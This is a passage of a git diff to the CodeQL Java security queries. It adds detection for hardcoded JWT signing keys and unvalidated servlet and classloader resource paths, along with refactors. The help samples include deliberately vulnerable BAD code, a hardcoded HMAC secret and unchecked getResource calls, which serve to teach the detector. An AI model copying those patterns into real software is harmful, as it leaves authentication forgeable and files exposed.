-      cb.getCondition().(EQExpr).hasOperands(oafr.getParameter(0).getAnAccess(), cc) and
+      cb.getCondition()
+          .(ValueOrReferenceEqualsExpr)
+          .hasOperands(oafr.getParameter(0).getAnAccess(), cc) and
       cc.getIntValue() = any(AndroidFileIntentInput fi).getRequestCode() and
       intentVar.getType() instanceof TypeIntent and
       cb.controls(intentVar.getBasicBlock(), true) and
diff --git a/java/ql/src/experimental/Security/CWE/CWE-297/IgnoredHostnameVerification.ql b/java/ql/src/experimental/Security/CWE/CWE-297/IgnoredHostnameVerification.ql
index 55d51a19a8c..c4bb1192f2b 100644
--- a/java/ql/src/experimental/Security/CWE/CWE-297/IgnoredHostnameVerification.ql
+++ b/java/ql/src/experimental/Security/CWE/CWE-297/IgnoredHostnameVerification.ql
@@ -21,7 +21,7 @@ private class HostnameVerificationCall extends MethodAccess {
   }
 
   /** Holds if the result of the call is not used. */
-  predicate isIgnored() { this = any(ExprStmt es).getExpr() }
+  predicate isIgnored() { this instanceof ValueDiscardingExpr }
 }
 
 from HostnameVerificationCall verification
diff --git a/java/ql/src/experimental/Security/CWE/CWE-321/HardcodedJwtKey.java b/java/ql/src/experimental/Security/CWE/CWE-321/HardcodedJwtKey.java
new file mode 100644
index 00000000000..69712794689
--- /dev/null
+++ b/java/ql/src/experimental/Security/CWE/CWE-321/HardcodedJwtKey.java
@@ -0,0 +1,26 @@
+// BAD: Get secret from hardcoded string then sign a JWT token
+Algorithm algorithm = Algorithm.HMAC256("hardcoded_secret");
+JWT.create()
+    .withClaim("username", username)
+    .sign(algorithm);
+}
+
+// BAD: Get secret from hardcoded string then verify a JWT token
+JWTVerifier verifier = JWT.require(Algorithm.HMAC256("hardcoded_secret"))
+    .withIssuer(ISSUER)
+    .build();
+verifier.verify(token);
+
+// GOOD: Get secret from system configuration then sign a token
+String tokenSecret = System.getenv("SECRET_KEY");
+Algorithm algorithm = Algorithm.HMAC256(tokenSecret);
+JWT.create()
+    .withClaim("username", username)
+    .sign(algorithm);
+    }
+
+// GOOD: Get secret from environment variable then verify a JWT token
+JWTVerifier verifier = JWT.require(Algorithm.HMAC256(System.getenv("SECRET_KEY")))
+    .withIssuer(ISSUER)
+    .build();
+verifier.verify(token);
diff --git a/java/ql/src/experimental/Security/CWE/CWE-321/HardcodedJwtKey.qhelp b/java/ql/src/experimental/Security/CWE/CWE-321/HardcodedJwtKey.qhelp
new file mode 100644
index 00000000000..e6a25a3b96c
--- /dev/null
+++ b/java/ql/src/experimental/Security/CWE/CWE-321/HardcodedJwtKey.qhelp
@@ -0,0 +1,46 @@
+<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd">
+<qhelp>
+    <overview>
+        <p>
+            JWT (JSON Web Token) is an open standard (RFC 7519) that defines a way to provide information 
+            within a JSON object between two parties. JWT is widely used for sharing security information
+            between two parties in web applications. Each JWT contains encoded JSON objects, including a 
+            set of claims. JWTs are signed using a cryptographic algorithm to ensure that the claims cannot
+            be altered after the token is issued.
+          </p>
+        <p>
+            The most basic mistake is using hardcoded secrets for JWT generation/verification. This allows
+            an attacker to forge the token if the source code (and JWT secret in it) is publicly exposed or
+            leaked, which leads to authentication bypass or privilege escalation.
+          </p>
+    </overview>
+
+    <recommendation>
+        <p>
+            Generating a cryptographically secure secret key during application initialization and using this 
+            generated key for JWT signing/verification requests can prevent this vulnerability. Or safely store
+            the secret key in a key vault that cannot be leaked in source code.
+          </p>
+    </recommendation>
+
+    <example>
+        <p>
+            The following examples show the bad case and the good case respectively. The <code>bad</code> 
+            methods show a hardcoded secret key is used to sign and verify JWT tokens. In the <code>good</code>
+            method, the secret key is loaded from a system environment during application initialization.
+        </p>
+        <sample src="HardcodedJwtKey.java" />
+    </example>
+
+    <references>
+        <li>
+            Semgrep Blog:
+            <a href="https://r2c.dev/blog/2020/hardcoded-secrets-unverified-tokens-and-other-common-jwt-mistakes/">Hardcoded secrets, unverified tokens, and other common JWT mistakes</a>
+        </li>
+        <li>
+            CVE-2022-24860:
+            <a href="https://nvd.nist.gov/vuln/detail/CVE-2022-24860">Databasir 1.01 has Use of Hard-coded Cryptographic Key vulnerability.</a>
+        </li>
+    </references>
+
+</qhelp>
diff --git a/java/ql/src/experimental/Security/CWE/CWE-321/HardcodedJwtKey.ql b/java/ql/src/experimental/Security/CWE/CWE-321/HardcodedJwtKey.ql
new file mode 100644
index 00000000000..63c55793cbf
--- /dev/null
+++ b/java/ql/src/experimental/Security/CWE/CWE-321/HardcodedJwtKey.ql
@@ -0,0 +1,19 @@
+/**
+ * @name Use of a hardcoded key for signing JWT
+ * @description Using a hardcoded key for signing JWT can allow an attacker to compromise security.
+ * @kind path-problem
+ * @problem.severity error
+ * @id java/hardcoded-jwt-key
+ * @tags security
+ *       external/cwe/cwe-321
+ */
+
+import java
+import HardcodedJwtKey
+import semmle.code.java.dataflow.TaintTracking
+import DataFlow::PathGraph
+
+from DataFlow::PathNode source, DataFlow::PathNode sink, HardcodedJwtKeyConfiguration cfg
+where cfg.hasFlowPath(source, sink)
+select sink.getNode(), source, sink, "$@ is used to sign a JWT token.", source.getNode(),
+  "Hardcoded String"
diff --git a/java/ql/src/experimental/Security/CWE/CWE-321/HardcodedJwtKey.qll b/java/ql/src/experimental/Security/CWE/CWE-321/HardcodedJwtKey.qll
new file mode 100644
index 00000000000..0a92e6b141a
--- /dev/null
+++ b/java/ql/src/experimental/Security/CWE/CWE-321/HardcodedJwtKey.qll
@@ -0,0 +1,145 @@
+/**
+ * Provides sources and sinks for detecting JWT token signing vulnerabilities.
+ */
+
+import java
+private import semmle.code.java.dataflow.ExternalFlow
+private import semmle.code.java.dataflow.FlowSources
+
+/** The class `com.auth0.jwt.JWT`. */
+class Jwt extends RefType {
+  Jwt() { this.hasQualifiedName("com.auth0.jwt", "JWT") }
+}
+
+/** The class `com.auth0.jwt.JWTCreator.Builder`. */
+class JwtBuilder extends RefType {
+  JwtBuilder() { this.hasQualifiedName("com.auth0.jwt", "JWTCreator$Builder") }
+}
+
+/** The class `com.auth0.jwt.algorithms.Algorithm`. */
+class JwtAlgorithm extends RefType {
+  JwtAlgorithm() { this.hasQualifiedName("com.auth0.jwt.algorithms", "Algorithm") }
+}
+
+/**
+ * The interface `com.auth0.jwt.interfaces.JWTVerifier` or its implementation
+ * `com.auth0.jwt.JWTVerifier`.
+ */
+class JwtVerifier extends RefType {
+  JwtVerifier() {
+    this.hasQualifiedName(["com.auth0.jwt", "com.auth0.jwt.interfaces"], "JWTVerifier")
+  }
+}
+
+/** A method that creates an instance of `com.auth0.jwt.algorithms.Algorithm`. */
+class GetAlgorithmMethod extends Method {
+  GetAlgorithmMethod() {
+    this.getDeclaringType() instanceof JwtAlgorithm and
+    this.getName().matches(["HMAC%", "ECDSA%", "RSA%"])
+  }
+}
+
+/** The `require` method of `com.auth0.jwt.JWT`. */
+class RequireMethod extends Method {
+  RequireMethod() {
+    this.getDeclaringType() instanceof Jwt and
+    this.hasName("require")
+  }
+}
+
+/** The `sign` method of `com.auth0.jwt.JWTCreator.Builder`. */
+class SignTokenMethod extends Method {
+  SignTokenMethod() {
+    this.getDeclaringType() instanceof JwtBuilder and
+    this.hasName("sign")
+  }
+}
+
+/** The `verify` method of `com.auth0.jwt.interfaces.JWTVerifier`. */
+class VerifyTokenMethod extends Method {
+  VerifyTokenMethod() {
+    this.getDeclaringType() instanceof JwtVerifier and
+    this.hasName("verify")
+  }
+}
+
+/**
+ * A data flow source for JWT token signing vulnerabilities.
+ */
+abstract class JwtKeySource extends DataFlow::Node { }
+
+/**
+ * A data flow sink for JWT token signing vulnerabilities.
+ */
+abstract class JwtTokenSink extends DataFlow::Node { }
+
+/**
+ * A hardcoded string literal as a source for JWT token signing vulnerabilities.
+ */
+class HardcodedKeyStringSource extends JwtKeySource {
+  HardcodedKeyStringSource() { exists(this.asExpr().(CompileTimeConstantExpr).getStringValue()) }
+}
+
+/**
+ * An expression used to sign JWT tokens as a sink of JWT token signing vulnerabilities.
+ */
+private class SignTokenSink extends JwtTokenSink {
+  SignTokenSink() {
+    exists(MethodAccess ma |
+      ma.getMethod() instanceof SignTokenMethod and
+      this.asExpr() = ma.getArgument(0)
+    )
+  }
+}
+
+/**
+ * An expression used to verify JWT tokens as a sink of JWT token signing vulnerabilities.
+ */
+private class VerifyTokenSink extends JwtTokenSink {
+  VerifyTokenSink() {
+    exists(MethodAccess ma |
+      ma.getMethod() instanceof VerifyTokenMethod and
+      this.asExpr() = ma.getQualifier()
+    )
+  }
+}
+
+/**
+ * A configuration depicting taint flow for checking JWT token signing vulnerabilities.
+ */
+class HardcodedJwtKeyConfiguration extends TaintTracking::Configuration {
+  HardcodedJwtKeyConfiguration() { this = "Hard-coded JWT Signing Key" }
+
+  override predicate isSource(DataFlow::Node source) { source instanceof JwtKeySource }
+
+  override predicate isSink(DataFlow::Node sink) { sink instanceof JwtTokenSink }
+
+  override predicate isAdditionalTaintStep(DataFlow::Node prev, DataFlow::Node succ) {
+    exists(MethodAccess ma |
+      (
+        ma.getMethod() instanceof GetAlgorithmMethod or
+        ma.getMethod() instanceof RequireMethod
+      ) and
+      prev.asExpr() = ma.getArgument(0) and
+      succ.asExpr() = ma
+    )
+  }
+}
+
+/** Taint model related to verifying JWT tokens. */
+private class VerificationFlowStep extends SummaryModelCsv {
+  override predicate row(string row) {
+    row =
+      [
+        "com.auth0.jwt.interfaces;Verification;true;build;;;Argument[-1];ReturnValue;taint",
+        "com.auth0.jwt.interfaces;Verification;true;" +
+          ["acceptLeeway", "acceptExpiresAt", "acceptNotBefore", "acceptIssuedAt", "ignoreIssuedAt"]
+          + ";;;Argument[-1];ReturnValue;value",
+        "com.auth0.jwt.interfaces;Verification;true;with" +
+          [
+            "Issuer", "Subject", "Audience", "AnyOfAudience", "ClaimPresence", "Claim",
+            "ArrayClaim", "JWTId"
+          ] + ";;;Argument[-1];ReturnValue;value"
+      ]
+  }
+}
diff --git a/java/ql/src/experimental/Security/CWE/CWE-400/ThreadResourceAbuse.qll b/java/ql/src/experimental/Security/CWE/CWE-400/ThreadResourceAbuse.qll
index b44ffa3b812..4f654374b17 100644
--- a/java/ql/src/experimental/Security/CWE/CWE-400/ThreadResourceAbuse.qll
+++ b/java/ql/src/experimental/Security/CWE/CWE-400/ThreadResourceAbuse.qll
@@ -2,7 +2,7 @@
 
 import java
 import semmle.code.java.dataflow.DataFlow
-import semmle.code.java.dataflow.ExternalFlow
+private import semmle.code.java.dataflow.ExternalFlow
 import semmle.code.java.dataflow.FlowSteps
 
 /** `java.lang.Math` data model for value comparison in the new CSV format. */
diff --git a/java/ql/src/experimental/Security/CWE/CWE-470/UnsafeReflectionLib.qll b/java/ql/src/experimental/Security/CWE/CWE-470/UnsafeReflectionLib.qll
index 803fe6107a1..a111c918555 100644
--- a/java/ql/src/experimental/Security/CWE/CWE-470/UnsafeReflectionLib.qll
+++ b/java/ql/src/experimental/Security/CWE/CWE-470/UnsafeReflectionLib.qll
@@ -35,7 +35,7 @@ predicate looksLikeResolveClassStep(DataFlow::Node fromNode, DataFlow::Node toNo
     m = ma.getMethod() and arg = ma.getArgument(i)
   |
     m.getReturnType() instanceof TypeClass and
-    m.getName().toLowerCase().regexpMatch("resolve|load|class|type") and
+    m.getName().toLowerCase() = ["resolve", "load", "class", "type"] and
     arg.getType() instanceof TypeString and
     arg = fromNode.asExpr() and
     ma = toNode.asExpr()
@@ -52,7 +52,7 @@ predicate looksLikeInstantiateClassStep(DataFlow::Node fromNode, DataFlow::Node
     m = ma.getMethod() and arg = ma.getArgument(i)
   |
     m.getReturnType() instanceof TypeObject and
-    m.getName().toLowerCase().regexpMatch("instantiate|instance|create|make|getbean") and
+    m.getName().toLowerCase() = ["instantiate", "instance", "create", "make", "getbean"] and
     arg.getType() instanceof TypeClass and
     arg = fromNode.asExpr() and
     ma = toNode.asExpr()
diff --git a/java/ql/src/experimental/Security/CWE/CWE-552/UnsafeResourceGet.java b/java/ql/src/experimental/Security/CWE/CWE-552/UnsafeResourceGet.java
new file mode 100644
index 00000000000..8b3583bf59e
--- /dev/null
+++ b/java/ql/src/experimental/Security/CWE/CWE-552/UnsafeResourceGet.java
@@ -0,0 +1,18 @@
+// BAD: no URI validation
+URL url = request.getServletContext().getResource(requestUrl);
+url = getClass().getResource(requestUrl);
+InputStream in = url.openStream();
+
+InputStream in = request.getServletContext().getResourceAsStream(requestPath);
+in = getClass().getClassLoader().getResourceAsStream(requestPath);
+
+// GOOD: check for a trusted prefix, ensuring path traversal is not used to erase that prefix:
+// (alternatively use `Path.normalize` instead of checking for `..`)
+if (!requestPath.contains("..") && requestPath.startsWith("/trusted")) {
+	InputStream in = request.getServletContext().getResourceAsStream(requestPath);
+}
+
+Path path = Paths.get(requestUrl).normalize().toRealPath();
+if (path.startsWith("/trusted")) {
+	URL url = request.getServletContext().getResource(path.toString());
+}
diff --git a/java/ql/src/experimental/Security/CWE/CWE-552/UnsafeUrlForward.qhelp b/java/ql/src/experimental/Security/CWE/CWE-552/UnsafeUrlForward.qhelp
index 345eca1e5d4..b1bcf6350c3 100644
--- a/java/ql/src/experimental/Security/CWE/CWE-552/UnsafeUrlForward.qhelp
+++ b/java/ql/src/experimental/Security/CWE/CWE-552/UnsafeUrlForward.qhelp
@@ -36,6 +36,13 @@ attacks. It also shows how to remedy the problem by validating the user input.
 
 <sample src="UnsafeServletRequestDispatch.java" />
 
+<p>The following examples show an HTTP request parameter or request path being used directly to
+retrieve a resource of a Java EE application without validating the input, which allows sensitive
+file exposure attacks. It also shows how to remedy the problem by validating the user input.
+</p>
+
+<sample src="UnsafeResourceGet.java" />
+
 </example>
 <references>
 <li>File Disclosure:
@@ -47,5 +54,8 @@ attacks. It also shows how to remedy the problem by validating the user input.
 <li>Micro Focus:
   <a href="https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.file_disclosure_j2ee">File Disclosure: J2EE</a>
 </li>
+<li>CVE-2015-5174:
+  <a href="https://vuldb.com/?id.81084">Apache Tomcat 6.0/7.0/8.0/9.0 Servletcontext getResource/getResourceAsStream/getResourcePaths Path Traversal</a>
+</li>
 </references>
 </qhelp>
diff --git a/java/ql/src/experimental/Security/CWE/CWE-552/UnsafeUrlForward.ql b/java/ql/src/experimental/Security/CWE/CWE-552/UnsafeUrlForward.ql
index 9a9a70e4546..0e8fd0a4fe5 100644
--- a/java/ql/src/experimental/Security/CWE/CWE-552/UnsafeUrlForward.ql
+++ b/java/ql/src/experimental/Security/CWE/CWE-552/UnsafeUrlForward.ql
@@ -14,6 +14,7 @@ import java
 import UnsafeUrlForward
 import semmle.code.java.dataflow.FlowSources
 import semmle.code.java.dataflow.TaintTracking
+import experimental.semmle.code.java.frameworks.Jsf
 import experimental.semmle.code.java.PathSanitizer
 import DataFlow::PathGraph
 
@@ -43,6 +44,20 @@ class UnsafeUrlForwardFlowConfig extends TaintTracking::Configuration {
   override DataFlow::FlowFeature getAFeature() {
     result instanceof DataFlow::FeatureHasSourceCallContext
   }
+
+  override predicate isAdditionalTaintStep(DataFlow::Node prev, DataFlow::Node succ) {
+    exists(MethodAccess ma |
+      (
+        ma.getMethod() instanceof GetServletResourceMethod or
+        ma.getMethod() instanceof GetFacesResourceMethod or
+        ma.getMethod() instanceof GetClassResourceMethod or
+        ma.getMethod() instanceof GetClassLoaderResourceMethod or
+        ma.getMethod() instanceof GetWildflyResourceMethod
+      ) and
+      ma.getArgument(0) = prev.asExpr() and
+      ma = succ.asExpr()
+    )
+  }
 }
 
 from DataFlow::PathNode source, DataFlow::PathNode sink, UnsafeUrlForwardFlowConfig conf
diff --git a/java/ql/src/experimental/Security/CWE/CWE-552/UnsafeUrlForward.qll b/java/ql/src/experimental/Security/CWE/CWE-552/UnsafeUrlForward.qll
index 9601a988f9f..5471f55b212 100644
--- a/java/ql/src/experimental/Security/CWE/CWE-552/UnsafeUrlForward.qll
+++ b/java/ql/src/experimental/Security/CWE/CWE-552/UnsafeUrlForward.qll
@@ -1,7 +1,9 @@
 import java
+private import experimental.semmle.code.java.frameworks.Jsf
 private import semmle.code.java.dataflow.ExternalFlow
 private import semmle.code.java.dataflow.FlowSources
 private import semmle.code.java.dataflow.StringPrefixes
+private import semmle.code.java.frameworks.javaee.ejb.EJBRestrictions
 
 /** A sink for unsafe URL forward vulnerabilities. */
 abstract class UnsafeUrlForwardSink extends DataFlow::Node { }
@@ -19,6 +21,84 @@ private class RequestDispatcherSink extends UnsafeUrlForwardSink {
   }
 }
 
+/** The `getResource` method of `Class`. */
+class GetClassResourceMethod extends Method {
+  GetClassResourceMethod() {
+    this.getDeclaringType() instanceof TypeClass and
+    this.hasName("getResource")
+  }
+}
+
+/** The `getResourceAsStream` method of `Class`. */
+class GetClassResourceAsStreamMethod extends Method {
+  GetClassResourceAsStreamMethod() {
+    this.getDeclaringType() instanceof TypeClass and
+    this.hasName("getResourceAsStream")
+  }
+}
+
+/** The `getResource` method of `ClassLoader`. */
+class GetClassLoaderResourceMethod extends Method {
+  GetClassLoaderResourceMethod() {
+    this.getDeclaringType() instanceof ClassLoaderClass and
+    this.hasName("getResource")
+  }
+}
+
+/** The `getResourceAsStream` method of `ClassLoader`. */
+class GetClassLoaderResourceAsStreamMethod extends Method {
+  GetClassLoaderResourceAsStreamMethod() {
+    this.getDeclaringType() instanceof ClassLoaderClass and
+    this.hasName("getResourceAsStream")
+  }
+}
+
+/** The JBoss class `FileResourceManager`. */
+class FileResourceManager extends RefType {
+  FileResourceManager() {
+    this.hasQualifiedName("io.undertow.server.handlers.resource", "FileResourceManager")
+  }
+}
+
+/** The JBoss method `getResource` of `FileResourceManager`. */
+class GetWildflyResourceMethod extends Method {
+  GetWildflyResourceMethod() {
+    this.getDeclaringType().getASupertype*() instanceof FileResourceManager and
+    this.hasName("getResource")
+  }
+}
+
+/** The JBoss class `VirtualFile`. */
+class VirtualFile extends RefType {
+  VirtualFile() { this.hasQualifiedName("org.jboss.vfs", "VirtualFile") }
+}
+
+/** The JBoss method `getChild` of `FileResourceManager`. */
+class GetVirtualFileChildMethod extends Method {
+  GetVirtualFileChildMethod() {
+    this.getDeclaringType().getASupertype*() instanceof VirtualFile and
+    this.hasName("getChild")
+  }
+}
+
+/** An argument to `getResource()` or `getResourceAsStream()`. */
+private class GetResourceSink extends UnsafeUrlForwardSink {
+  GetResourceSink() {
+    sinkNode(this, "open-url")
+    or
+    exists(MethodAccess ma |
+      (
+        ma.getMethod() instanceof GetServletResourceAsStreamMethod or
+        ma.getMethod() instanceof GetFacesResourceAsStreamMethod or
+        ma.getMethod() instanceof GetClassResourceAsStreamMethod or
+        ma.getMethod() instanceof GetClassLoaderResourceAsStreamMethod or
+        ma.getMethod() instanceof GetVirtualFileChildMethod
+      ) and
+      ma.getArgument(0) = this.asExpr()
+    )
+  }
+}
+
 /** An argument to `new ModelAndView` or `ModelAndView.setViewName`. */
 private class SpringModelAndViewSink extends UnsafeUrlForwardSink {
   SpringModelAndViewSink() {
@@ -80,7 +160,7 @@ private class ServletGetPathSource extends SourceModelCsv {
   }
 }
 
-/** Taint model related to `java.nio.file.Path`. */
+/** Taint model related to `java.nio.file.Path` and `io.undertow.server.handlers.resource.Resource`. */
 private class FilePathFlowStep extends SummaryModelCsv {
   override predicate row(string row) {
     row =
@@ -88,7 +168,10 @@ private class FilePathFlowStep extends SummaryModelCsv {
         "java.nio.file;Paths;true;get;;;Argument[0..1];ReturnValue;taint",
         "java.nio.file;Path;true;resolve;;;Argument[-1..0];ReturnValue;taint",
         "java.nio.file;Path;true;normalize;;;Argument[-1];ReturnValue;taint",
-        "java.nio.file;Path;true;toString;;;Argument[-1];ReturnValue;taint"
+        "java.nio.file;Path;true;toString;;;Argument[-1];ReturnValue;taint",
+        "io.undertow.server.handlers.resource;Resource;true;getFile;;;Argument[-1];ReturnValue;taint",
+        "io.undertow.server.handlers.resource;Resource;true;getFilePath;;;Argument[-1];ReturnValue;taint",
+        "io.undertow.server.handlers.resource;Resource;true;getPath;;;Argument[-1];ReturnValue;taint"
       ]
   }
 }
diff --git a/java/ql/src/experimental/Security/CWE/CWE-601/SpringUrlRedirect.qll b/java/ql/src/experimental/Security/CWE/CWE-601/SpringUrlRedirect.qll
index 3791573eb9d..1aded71c661 100644
--- a/java/ql/src/experimental/Security/CWE/CWE-601/SpringUrlRedirect.qll
+++ b/java/ql/src/experimental/Security/CWE/CWE-601/SpringUrlRedirect.qll
@@ -134,6 +134,6 @@ predicate springUrlRedirectTaintStep(DataFlow::Node fromNode, DataFlow::Node toN
 predicate nonLocationHeaderSanitizer(DataFlow::Node node) {
   exists(HttpHeadersAddSetMethodAccess ma, Argument firstArg | node.asExpr() = ma.getArgument(1) |
     firstArg = ma.getArgument(0) and
-    not firstArg.(CompileTimeConstantExpr).getStringValue().matches("Location")
+    not firstArg.(CompileTimeConstantExpr).getStringValue() = "Location"
   )
 }
diff --git a/java/ql/src/experimental/Security/CWE/CWE-939/IncorrectURLVerification.ql b/java/ql/src/experimental/Security/CWE/CWE-939/IncorrectURLVerification.ql
index 19d034f1622..192aa8d4fa0 100644
--- a/java/ql/src/experimental/Security/CWE/CWE-939/IncorrectURLVerification.ql
+++ b/java/ql/src/experimental/Security/CWE/CWE-939/IncorrectURLVerification.ql
@@ -15,7 +15,7 @@ import java
 
 /**
  * The Java class `android.R.string` specific to Android applications, which contains references to application specific resources defined in /res/values/strings.xml.
- * For example, <resources>...<string name="host">example.com</string>...</resources> in the application com.example.android.web can be referred as R.string.host with the type com.example.android.web.R$string
+ * For example, `<resources>...<string name="host">example.com</string>...</resources>` in the application com.example.android.web can be referred as R.string.host with the type com.example.android.web.R$string
  */
 class AndroidRString extends RefType {
   AndroidRString() { this.hasQualifiedName(_, "R$string") }
@@ -43,7 +43,7 @@ class UriGetHostMethod extends Method {
 }
 
 /**
- * The method access with incorrect string comparision
+ * The method access with incorrect string comparison
  */
 class HostVerificationMethodAccess extends MethodAccess {
   HostVerificationMethodAccess() {
diff --git a/java/ql/src/experimental/semmle/code/java/PathSanitizer.qll b/java/ql/src/experimental/semmle/code/java/PathSanitizer.qll
index d86a1e8ca80..6c1fbdc90c4 100644
--- a/java/ql/src/experimental/semmle/code/java/PathSanitizer.qll
+++ b/java/ql/src/experimental/semmle/code/java/PathSanitizer.qll
@@ -148,8 +148,6 @@ private predicate isDisallowedWord(CompileTimeConstantExpr word) {
 
 /** A complementary guard that protects against path traversal, by looking for the literal `..`. */
 class PathTraversalGuard extends Guard instanceof MethodAccess {
-  Expr checked;
-
   PathTraversalGuard() {
     super.getMethod().getDeclaringType() instanceof TypeString and
     super.getMethod().hasName(["contains", "indexOf"]) and
diff --git a/java/ql/src/experimental/semmle/code/java/frameworks/Jsf.qll b/java/ql/src/experimental/semmle/code/java/frameworks/Jsf.qll
new file mode 100644
index 00000000000..a013c341c67
--- /dev/null
+++ b/java/ql/src/experimental/semmle/code/java/frameworks/Jsf.qll
@@ -0,0 +1,34 @@
+/**
+ * Provides classes and predicates for working with the Java Server Faces (JSF).
+ */
+
+import java
+
+/**
+ * The JSF class `ExternalContext` for processing HTTP requests.
+ */
+class ExternalContext extends RefType {
+  ExternalContext() {
+    this.hasQualifiedName(["javax.faces.context", "jakarta.faces.context"], "ExternalContext")
+  }
+}
+
+/**
+ * The method `getResource()` declared in JSF `ExternalContext`.
+ */
+class GetFacesResourceMethod extends Method {
+  GetFacesResourceMethod() {
+    this.getDeclaringType().getASupertype*() instanceof ExternalContext and
+    this.hasName("getResource")
+  }
+}
+
+/**
+ * The method `getResourceAsStream()` declared in JSF `ExternalContext`.
+ */
+class GetFacesResourceAsStreamMethod extends Method {
+  GetFacesResourceAsStreamMethod() {
+    this.getDeclaringType().getASupertype*() instanceof ExternalContext and
+    this.hasName("getResourceAsStream")
+  }
+}
diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml
index b6be26eadcf..821e23b0f20 100644
--- a/java/ql/src/qlpack.yml
+++ b/java/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/java-queries
-version: 0.1.1-dev
+version: 0.1.3-dev
 groups: 
   - java
   - queries
diff --git a/java/ql/src/utils/model-generator/internal/CaptureModels.qll b/java/ql/src/utils/model-generator/internal/CaptureModels.qll
index 81f13d978dd..84af7b57938 100644
--- a/java/ql/src/utils/model-generator/internal/CaptureModels.qll
+++ b/java/ql/src/utils/model-generator/internal/CaptureModels.qll
@@ -90,18 +90,34 @@ string captureQualifierFlow(TargetApi api) {
   result = asValueModel(api, qualifierString(), "ReturnValue")
 }
 
+private int accessPathLimit() { result = 2 }
+
 /**
  * A FlowState representing a tainted read.
  */
 private class TaintRead extends DataFlow::FlowState {
-  TaintRead() { this = "TaintRead" }
+  private int step;
+
+  TaintRead() { this = "TaintRead(" + step + ")" and step in [0 .. accessPathLimit()] }
+
+  /**
+   * Gets the flow state step number.
+   */
+  int getStep() { result = step }
 }
 
 /**
  * A FlowState representing a tainted write.
  */
 private class TaintStore extends DataFlow::FlowState {
-  TaintStore() { this = "TaintStore" }
+  private int step;
+
+  TaintStore() { this = "TaintStore(" + step + ")" and step in [1 .. accessPathLimit()] }
+
+  /**
+   * Gets the flow state step number.
+   */
+  int getStep() { result = step }
 }
 
 /**
@@ -116,7 +132,7 @@ private class ThroughFlowConfig extends TaintTracking::Configuration {
   override predicate isSource(DataFlow::Node source, DataFlow::FlowState state) {
     source instanceof DataFlow::ParameterNode and
     source.getEnclosingCallable() instanceof TargetApi and
-    state instanceof TaintRead
+    state.(TaintRead).getStep() = 0
   }
 
   override predicate isSink(DataFlow::Node sink, DataFlow::FlowState state) {
@@ -133,15 +149,17 @@ private class ThroughFlowConfig extends TaintTracking::Configuration {
     exists(DataFlowImplCommon::TypedContent tc |
       DataFlowImplCommon::store(node1, tc, node2, _) and
       isRelevantContent(tc.getContent()) and
-      (state1 instanceof TaintRead or state1 instanceof TaintStore) and
-      state2 instanceof TaintStore
+      (
+        state1 instanceof TaintRead and state2.(TaintStore).getStep() = 1
+        or
+        state1.(TaintStore).getStep() + 1 = state2.(TaintStore).getStep()
+      )
     )
     or
     exists(DataFlow::Content c |
       DataFlowPrivate::readStep(node1, c, node2) and
       isRelevantContent(c) and
-      state1 instanceof TaintRead and
-      state2 instanceof TaintRead
+      state1.(TaintRead).getStep() + 1 = state2.(TaintRead).getStep()
     )
   }
 
diff --git a/java/ql/src/utils/model-generator/internal/CaptureModelsSpecific.qll b/java/ql/src/utils/model-generator/internal/CaptureModelsSpecific.qll
index dd7f62fe133..c8de5b8f7c1 100644
--- a/java/ql/src/utils/model-generator/internal/CaptureModelsSpecific.qll
+++ b/java/ql/src/utils/model-generator/internal/CaptureModelsSpecific.qll
@@ -111,7 +111,7 @@ string asPartialModel(TargetApiSpecific api) {
 }
 
 private predicate isPrimitiveTypeUsedForBulkData(J::Type t) {
-  t.getName().regexpMatch("byte|char|Byte|Character")
+  t.hasName(["byte", "char", "Byte", "Character"])
 }
 
 /**
diff --git a/java/ql/test/TestUtilities/InlineExpectationsTest.qll b/java/ql/test/TestUtilities/InlineExpectationsTest.qll
index a4d264b2703..3891fcf13a1 100644
--- a/java/ql/test/TestUtilities/InlineExpectationsTest.qll
+++ b/java/ql/test/TestUtilities/InlineExpectationsTest.qll
@@ -181,7 +181,7 @@ private string expectationCommentPattern() { result = "\\s*\\$((?:[^/]|/[^/])*)(
 /**
  * The possible columns in an expectation comment. The `TDefaultColumn` branch represents the first
  * column in a comment. This column is not precedeeded by a name. `TNamedColumn(name)` represents a
- * column containing expected results preceeded by the string `name:`.
+ * column containing expected results preceded by the string `name:`.
  */
 private newtype TColumn =
   TDefaultColumn() or
diff --git a/java/ql/test/TestUtilities/InlineExpectationsTestPrivate.qll b/java/ql/test/TestUtilities/InlineExpectationsTestPrivate.qll
index 1ee16e93d10..5233f92f406 100644
--- a/java/ql/test/TestUtilities/InlineExpectationsTestPrivate.qll
+++ b/java/ql/test/TestUtilities/InlineExpectationsTestPrivate.qll
@@ -4,9 +4,19 @@ import java
  * A class representing line comments in Java, which is simply Javadoc restricted
  * to EOL comments, with an extra accessor used by the InlineExpectations core code
  */
-class ExpectationComment extends Javadoc {
-  ExpectationComment() { isEolComment(this) }
-
+abstract class ExpectationComment extends Top {
   /** Gets the contents of the given comment, _without_ the preceding comment marker (`//`). */
-  string getContents() { result = this.getChild(0).toString() }
+  abstract string getContents();
+}
+
+private class JavadocExpectationComment extends Javadoc, ExpectationComment {
+  JavadocExpectationComment() { isEolComment(this) }
+
+  override string getContents() { result = this.getChild(0).toString() }
+}
+
+private class KtExpectationComment extends KtComment, ExpectationComment {
+  KtExpectationComment() { this.isEolComment() }
+
+  override string getContents() { result = this.getText().suffix(2).trim() }
 }
diff --git a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MyBatisAnnotationSqlInjection.expected b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MyBatisAnnotationSqlInjection.expected
index 8a9b7a3437b..dfc923f9b58 100644
--- a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MyBatisAnnotationSqlInjection.expected
+++ b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MyBatisAnnotationSqlInjection.expected
@@ -13,4 +13,4 @@ nodes
 | MybatisSqlInjectionService.java:51:27:51:33 | hashMap | semmle.label | hashMap |
 subpaths
 #select
-| MybatisSqlInjectionService.java:51:27:51:33 | hashMap | MybatisSqlInjection.java:62:19:62:43 | name : String | MybatisSqlInjectionService.java:51:27:51:33 | hashMap | MyBatis annotation SQL injection might include code from $@ to $@. | MybatisSqlInjection.java:62:19:62:43 | name | this user input | SqlInjectionMapper.java:29:2:29:54 | Select | this SQL operation |
